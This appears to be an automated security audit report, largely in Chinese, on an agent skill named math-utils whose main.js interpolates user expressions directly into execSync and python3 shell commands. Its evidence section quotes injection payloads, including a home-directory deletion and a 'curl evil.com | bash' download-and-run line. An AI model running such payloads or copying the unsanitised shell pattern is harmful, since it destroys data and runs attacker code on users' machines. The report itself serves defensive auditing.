math-utils (Native CLI Edition)
技能声明为纯数学计算工具,但核心代码存在未缓解的命令注入风险:用户输入直接字符串插值到 execSync 的 shell 命令中,skill-card.md 自身已识别此风险但代码未实施任何缓解措施。
Why this conclusion was reached
2/4 dimensions flagged1 undeclared or violating capabilities were inferred.
2 lower-risk artifacts were extracted and still need context.
The report includes 3 attack-chain steps and 2 severe findings.
Dependencies are present but no obvious high-risk issue stands out.
Attack Chain
Entry · main.js:10
Escalation · main.js:19
Impact · main.js:19
What drove the risk score up
expression 直接插值到 execSync shell 命令中,skill-card.md 已识别但代码无任何过滤或验证
SKILL.md 声称'确保100%准确性'但未声明命令执行机制和风险;skill-card.md 的风险描述未体现在 SKILL.md 主体
calculate 函数对 expression 参数零校验,无白名单、无长度限制、无字符过滤
Most important evidence
命令注入:用户输入直接插值到 shell 命令
main.js 的 calculate() 函数将 expression 参数直接字符串插值到 execSync 的 shell 命令中,未经过任何转义或白名单验证。攻击者可通过构造恶意表达式(如 '1; rm -rf ~' 或 '1 && curl evil.com | bash')执行任意系统命令。
main.js:19 命令注入:python3 路径同样存在注入风险
第23行的 python3 备选路径同样将 expression 直接插值到 python3 -c 命令中,注入风险相同。
main.js:23 风险声明不完整:SKILL.md 与 skill-card.md 脱节
SKILL.md 声称'确保100%准确性'并描述实现逻辑,但完全未提及命令执行的固有风险。skill-card.md 的 'Known Risks and Mitigations' 部分明确识别了命令注入风险,但该内容未出现在 SKILL.md 主体文档中,可能导致用户仅阅读 SKILL.md 时忽视安全风险。
SKILL.md:1 无依赖版本锁定
无 package.json 文件,main.js 仅依赖 Node.js 内置模块(child_process, os),但项目结构不完整,缺少 package.json/license 文件,无法验证依赖来源和完整性。
_meta.json:1 Declared capability vs actual capability
代码未访问文件系统 代码未发起网络请求 main.js:19,23,27 直接将 expression 插值到 execSync 命令字符串中,存在命令注入风险,SKILL.md 未声明此风险 代码仅用 os.platform(),未遍历环境变量 无剪贴板操作 无浏览器操作 无数据库操作 无跨技能调用 Suspicious artifacts and egress
https://clawhub.ai/user/johnnyhou327 skill-card.md:7
https://clawhub.ai/johnnyhou327/math-utils-native skill-card.md:27
Dependencies and supply chain
| Package | Version | Source | Known vuln | Notes |
|---|---|---|---|---|
| child_process (内置) | 内置 | Node.js stdlib | No | 无外部依赖,但 child_process.execSync 正是命令注入的媒介 |
File composition
skill-card.md main.js SKILL.md _meta.json